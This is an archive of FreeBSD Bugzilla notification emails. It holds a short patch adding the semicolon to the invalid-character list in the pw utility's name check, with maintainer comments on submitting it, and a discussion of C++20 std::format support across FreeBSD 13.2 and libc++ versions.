(kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QKVps1Vd8zW5G for ; Mon, 15 May 2023 07:09:09 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34F799w2094022 for ; Mon, 15 May 2023 07:09:09 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34F799F4094021 for standards@FreeBSD.org; Mon, 15 May 2023 07:09:09 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 271427] FreeBSD pw command injection vulnerability Date: Mon, 15 May 2023 07:09:09 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: standards X-Bugzilla-Version: 13.2-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Only Me X-Bugzilla-Who: 858573819@qq.com X-Bugzilla-Status: In Progress X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: standards@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Standards compliance List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D271427 --- Comment #3 from pbuff <858573819@qq.com> --- (In reply to Baptiste Daroussin from comment #2) Hello, this is a git-format patch: diff --git a/pw_user.c b/pw_user.c index 3d625a0..b16faaf 100644 --- a/pw_user.c +++ b/pw_user.c @@ -635,7 +635,7 @@ pw_checkname(char *name, int gecos) showtype =3D "gecos field"; } else { /* See if the name is valid as a userid or group. */ - badchars =3D " ,\t:+&#%$^()!@~*?<>=3D|\\/\""; + badchars =3D " ,\t:+&#%$^()!@~*?<>=3D|\\/\";"; showtype =3D "userid/group name"; /* Userids and groups can not have a leading '-'. */ if (*ch =3D=3D '-') --=20 You are receiving this mail because: You are the assignee for the bug.= From nobody Mon May 15 19:02:27 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QKpdv27ZTz49yHf for ; Mon, 15 May 2023 19:02:27 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QKpdv0FCTz40Pp for ; Mon, 15 May 2023 19:02:27 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684177347; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=6W9x3H0BbE98lqJ9ykbrVFTOzsYLUAqso9wPHffAQtg=; b=gi9c0GzG9odOVxis4moSjK2qBPvoFYMbllC0aX+NqdF/AvtkEziqk/ENtvyKldwKl9QVfD sS608m5DDKAd2ihbBoAX7SvaWa9Y/EJsZdPO7FNUg3sqwwNA9fKNWWtZqsXUQt2G9uNmB8 x55Mur0JbEJyAukzmHYeFHrSn9slC1q1F5N+QBP1K3l/FmQY8p1cNtPHBT/KPOvsKZhjiD lyrGMzPgIwwY304wStnbQR1ajGdAy2dekqPpTn0qjxJ9MQgKavBULz+r2izRBxFZC4dOIs 2X1nttnsuIL/7p9RrP2wAoeNooQ55zYxwZGX+bKBr3q7/HIQr4r2OOm+BfodsA== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684177347; a=rsa-sha256; cv=none; b=ns/D3I6oyeuyUWvJrJrIe5zceOQ/UFU3JASlG9zoB3kMYLW+ktgin9q481SSXz4HTH1k6P lVvCC/aQzdnM5+o7CtgHN5zTBiJrowhh5b5JfDcyOvctc6cuMjYVEOENspNOhHnfsXfuMU HGyQqrXMuIWUnuQuMB4qAdcsNviW/iiHkfOxLb3oTN1P/AcDBW1rXh/87Nx3eNK6tl8wWe Fhgl7ZQDqjf0jNlF3FwY3ZS4T4HDLy4esc7JYF/yLW6kdPP5W7drQAbpE63sSOfYJu71YZ BnHBmiC1pLiWy28mM+GEflACTHIxj3+1y9POfkoEdZutbwYOFZAgBQHgAfkRqQ== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QKpdt6RldzrW7 for ; Mon, 15 May 2023 19:02:26 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34FJ2QUC044494 for ; Mon, 15 May 2023 19:02:26 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34FJ2Qqn044493 for standards@FreeBSD.org; Mon, 15 May 2023 19:02:26 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 271427] FreeBSD pw command injection vulnerability Date: Mon, 15 May 2023 19:02:27 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: standards X-Bugzilla-Version: 13.2-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Only Me X-Bugzilla-Who: bapt@FreeBSD.org X-Bugzilla-Status: In Progress X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: standards@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Standards compliance List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D271427 --- Comment #4 from Baptiste Daroussin --- by git format patch I mean a patch I can incorporate via git am command which means locally you do commit yourself the change, with your commit log. Then use git format-patch will generate a file with everything the commit l= og, the change and you name (to credit you on the fix). you add this file here. --=20 You are receiving this mail because: You are the assignee for the bug.= From nobody Mon May 15 19:02:39 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QKpf80p6Zz49yY3 for ; Mon, 15 May 2023 19:02:40 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QKpf76TVSz40cJ for ; Mon, 15 May 2023 19:02:39 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684177359; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=pU/vs9Lek+E7FF6HQSDq4WDTtyXawGUXem+27RelMX4=; b=yTpu2nzKoz4wFh/A2SzXd3gzh2NGfGmY/KbVe/7/aRFt1hUV9UQkOKpMLB+ddRSN2XHbxc P80iluHmrO14/Wkx0QzXPYNfIYGIpxCou4O21StFSTC5nIodovyALJWnW+WK/iIG+rxKQp RnyC/gpArpppjZU9aRMhXL6Xg2N4BEoHZEQAsfk3D+AwpfbI9DNrILiXazH7OMXCTf8MEN +vp5idd3x1D4dY1ezbHQgaO2lMVMfydxlP9rW0xAs530avWBMlY5AG8fEtdA2TKxG4Og9r hzty1FcrO2K5dovZCFVf9G8xNN/09nJJXXRl2ElvjR8+PscP0J9WKdIq2Re+Ww== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684177359; a=rsa-sha256; cv=none; b=ok1whOewzdcvOV7urwFmV17g2L+YzHis87+GgBavhjPPdkHazuMak9PoMoVAPpj8ox0wsO oRtcqMvynOdQU98QchWrdfUiq6oGS+9x5xUL7QL806zECnWuMhGm/CarTTqLituh74oMI1 WAxAZRFdAoIEGXHwEVyUWomvf3Omr9EOmPXVc0uh2Nh+QFMTJxeAnzYCvu/zVqOEefpEwE 3NH20fpcOvOYYyLekgYy4Jhl/cMKG9HPwoO2b2McAxtK7l176yf3DoXM1lm5QcXK33JMN4 vSatuSJ8JSHqpmDsuQn7U9qjZv8IbZIZF9x+83jc0NgLp9kxHKsIlfoOMrwwCg== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QKpf75ZNDzsPY for ; Mon, 15 May 2023 19:02:39 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34FJ2dPf044558 for ; Mon, 15 May 2023 19:02:39 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34FJ2d4C044557 for standards@FreeBSD.org; Mon, 15 May 2023 19:02:39 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 271427] FreeBSD pw command injection vulnerability Date: Mon, 15 May 2023 19:02:39 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: standards X-Bugzilla-Version: 13.2-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Only Me X-Bugzilla-Who: bapt@FreeBSD.org X-Bugzilla-Status: In Progress X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: bapt@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: assigned_to Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Standards compliance List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D271427 Baptiste Daroussin changed: What |Removed |Added ---------------------------------------------------------------------------- Assignee|standards@FreeBSD.org |bapt@FreeBSD.org --=20 You are receiving this mail because: You are the assignee for the bug.= From nobody Wed May 17 04:48:54 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QLgc707hhz4Bsdk for ; Wed, 17 May 2023 04:48:55 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QLgc669swz3PZD for ; Wed, 17 May 2023 04:48:54 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684298934; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=t8TEuEyAWbybvGdvavvR2si1lmxf4QcAze10DvTG07A=; b=HkQkK4sA764E4JBGcB46LGPskpe6NCkAMf3P7BkxzA62BHb5tm8p0NCXQbofOTjcJhFE3w nX1kEq5h974qGAPer7gywNeEAygqIgasZWKh+wX9xOxnZQ3obdpLg1MsxTRU1jCcu//W3C kBC4tkGqxqMwlPEy2Hse1XfrOl49puPA/fkV/SJ/bNYr/PKTJRluut812K/WBml2Bwieq1 P3+v+37Pq1A6YpzoJSwtOSdJa9EfANd/L1kd3psAOF46lqYD143wPzQ8S91Qfx4h3Lshg/ HQNVr+K4VEEFPSqr8NuwGSyTL/jPldT8BNea1H8spPcQ9kVVNNEvOOVDhKXaog== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684298934; a=rsa-sha256; cv=none; b=ObuitgZ+52S9tYsrNauhfYfN4mQPD18I0VQHtRe98bDm+rpF69l3GnSKnAsq2sT2imRySH b1fylZrhygjwy/1UyhkLAEByhGxFLNoiOD0QBn7nh6BL1nIePXuzwDuKyzRsTQoLY5MizP oE5n3ujUuMmD9zewONRRlqODoUYsOlpjhFSVG4D5ymzgap/IwdOzo8/z0z9w1FEhrhVa0Q bqDSdEnzjZXrHoXjb09xo1PPuj4BSZmOoZS/juiuwgc3gtwpLYbOoblowidI0Tyq4IWEAi uaauu3ogGHsSf5pGWTL7pacO7UNYShFofa6QmmiQuRC+iRTncFEBR9EL2LJvbQ== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QLgc659Bczq9m for ; Wed, 17 May 2023 04:48:54 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34H4msIe068721 for ; Wed, 17 May 2023 04:48:54 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34H4ms1m068720 for standards@FreeBSD.org; Wed, 17 May 2023 04:48:54 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 255374] C++20 features (headers) std::concepts, std::format, std::numbers, std::source_location, etc. are missing Date: Wed, 17 May 2023 04:48:54 +0000 X-Bugzilla-Reason: CC X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: standards X-Bugzilla-Version: 13.0-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Some People X-Bugzilla-Who: yuri@freebsd.org X-Bugzilla-Status: In Progress X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: dim@FreeBSD.org X-Bugzilla-Flags: maintainer-feedback? mfc-stable13+ mfc-stable12? mfc-stable11- X-Bugzilla-Changed-Fields: Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Standards compliance List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D255374 --- Comment #23 from Yuri Victorovich --- Interestingly, 13.2-RELEASE has std::format working (it has clang-14.0.5), = but 13.2-STABLE doesn't have std::format working, with llvm-project being at version 15.x So there is a regression. --=20 You are receiving this mail because: You are on the CC list for the bug.= From nobody Wed May 17 06:28:35 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QLjq80RD9z4BxcX for ; Wed, 17 May 2023 06:28:36 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QLjq76G7Vz3lFd for ; Wed, 17 May 2023 06:28:35 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684304915; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=M4D1gvev31L7zu6y+iUGy2PzWgOIpk7m76cdHj8YikA=; b=bnwrjNVbnt//6ivp38cupwWkKM17mBfsusP3w1yPXTeZiXiZuz87r0L3AIK2OWG04Zjm/Y bfB6N8GZJRxsX8y7yqGTruzrvGa2PJX5ylyxBvBkizIbM7tQYBEuo2+Q8BcVOgG2fRQxOH naz7QETaI36g91X3Ix/yPlcKeMwnjB3ulUA/v+/OwWc1EpN9/PYM9Ghmd2Z0Hzsb09JyvH oTu2p+VgGtG1mooMs+UXk5WpwUklEXSR6vcyUMItZWg0RsrEIsPkpt0Cu2CJx2F78rh+ex XSNT/JAkpouNlKFrOTHXZq/xGxJ/voMLj4Rh4sGzZaJkZ5ewuMuAqdma2rBlfA== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684304915; a=rsa-sha256; cv=none; b=SXICV1OnsAYsMLR1EUWjVLtPmTmSfj0Ph61cQKIPCUYZ7dPTFcKgl6fXPkpORNACTKU+Hp QXH7B5Num54yUH4uNancH92D2m6Q6ynrTDDwfNhWhGZ1LP8fH+oOKk+BocTBqrsjd6a957 7WAseXR+roTg5fSA4XH73Air2WYst1pZg3DSvp3zT1rq4F0xCNeEuf0/w9GGWkuxwPTUUM WzFemzgy+MqrO/CwmJ2fskeYcPiphLLhBSiVSY9CaXxr+Nw0EzCLXNdOvn/Od+Er5PlD0Q dGOEDpzyaC83FPh6heugzckr3vZ6QkuPbrjsRWLDbSdPxC3vaoCa4b5bClFXsA== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QLjq75GRrzt06 for ; Wed, 17 May 2023 06:28:35 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34H6SZSG021387 for ; Wed, 17 May 2023 06:28:35 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34H6SZVH021386 for standards@FreeBSD.org; Wed, 17 May 2023 06:28:35 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 255374] C++20 features (headers) std::concepts, std::format, std::numbers, std::source_location, etc. are missing Date: Wed, 17 May 2023 06:28:35 +0000 X-Bugzilla-Reason: CC X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: standards X-Bugzilla-Version: 13.0-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Some People X-Bugzilla-Who: marklmi26-fbsd@yahoo.com X-Bugzilla-Status: In Progress X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: dim@FreeBSD.org X-Bugzilla-Flags: maintainer-feedback? mfc-stable13+ mfc-stable12? mfc-stable11- X-Bugzilla-Changed-Fields: Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Standards compliance List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D255374 --- Comment #24 from Mark Millard --- (In reply to Yuri Victorovich from comment #23) https://libcxx.llvm.org/FeatureTestMacroTable.html#feature-status reports: __cpp_lib_format unimplemented but that is what they show for incomplete or significantly (but partially) incorrect preliminary support. https://libcxx.llvm.org/Status/Format.html reports lots of detailed status with "first released version" for each detail. There are: 4 rows listing clang 14 3 rows listing clang 15 25 rows listing clang 16 9 rows listing clang 17 6 rows listing in progress 12 rows that have the column still blank (if I counted right) The libcxx 17 release notes draft at https://libcxx.llvm.org/ReleaseNotes.html indicates: QUOTE The formatter specialization template struct formatter has been removed. Since libc++=E2=80=99s format library was marked experimental there is no backwards compatibility option. This specialization has been removed from the Standard since it was never used, the proper specialization to use instead is template struct formatter END QUOTE I've no clue if that is related to what you are reporting. It is hard to tell what specifically changed status that you noticed. So I can not be much more specific. Nor can I check the status in main foor whatever you found. --=20 You are receiving this mail because: You are on the CC list for the bug.= From nobody Wed May 17 06:55:44 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QLkQS18z8z4C07Q for ; Wed, 17 May 2023 06:55:44 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QLkQS06HTz3mGJ for ; Wed, 17 May 2023 06:55:44 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684306544; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=lvNIQGAYIdi/cL+2kKY+SphGW1ctFcx7HD5t46FCrww=; b=Kc31JqDjrC3Dn6gl56q+NU/JE2vDdlMnRNzB5yhyZp9ON5StqFMICCwh+Li4EYqa1qYAbD Ga4stMttY3dRd+Icl74D4CZRMSvjpvBiO+ugeHXZ0bCs0xpFIXBbkyBG0UvhvzvoX6GC4j f442ra98nh+Xx1ORNGAbIL4NrGV37Z4Xw1oEw9MuHEx0nsiCbGuOtanbmWuwKUm9Thz4Q2 ZD4b1FmXw2bJVICZ6HwYpLfTjr3YI5jNgbKkU79eSJtRUg7VNzbBeJvVZmE3hfPlrmR3mQ Husyx4Qn2/BznvAVi+TzpkJcC/n4YxaseLwNb3bgMeb6oh/5+yDx2MUOOuisCg== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684306544; a=rsa-sha256; cv=none; b=ccRuwLH7crd/hSjjpXr6/kSG/43rb8YZVXHuol4lefuQwy4+4+6etY0Gc4uxfs89nf88jn y9B2u9pK0olplyVZ+tCFKB316SxQGei7UYjajBU6Ywu2vfBUdDAtwVF8WJI7liDE2WsiL3 xqD6BS69AqoBTSmpPfgabFvFLNsYuffooIxBwSY8t34nmGlhCkDkPzL4VmKrjONE7qfbzs 6qKSyeJYcUpkkSAnwc8q/PA2gXgVq93IIVzod1NXWV+STiRI/qEyqt6RTRSBtCSiuoE2cW 2z7aHewheCYqd5iG5V6Gml99+sslPhX6SvnyaCll5prc0T+DD5/VZJkzPqIX9g== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QLkQR6JWMzt31 for ; Wed, 17 May 2023 06:55:43 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34H6thsY064233 for ; Wed, 17 May 2023 06:55:43 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34H6thRa064232 for standards@FreeBSD.org; Wed, 17 May 2023 06:55:43 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 255374] C++20 features (headers) std::concepts, std::format, std::numbers, std::source_location, etc. are missing Date: Wed, 17 May 2023 06:55:44 +0000 X-Bugzilla-Reason: CC X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: standards X-Bugzilla-Version: 13.0-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Some People X-Bugzilla-Who: marklmi26-fbsd@yahoo.com X-Bugzilla-Status: In Progress X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: dim@FreeBSD.org X-Bugzilla-Flags: maintainer-feedback? mfc-stable13+ mfc-stable12? mfc-stable11- X-Bugzilla-Changed-Fields: Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Standards compliance 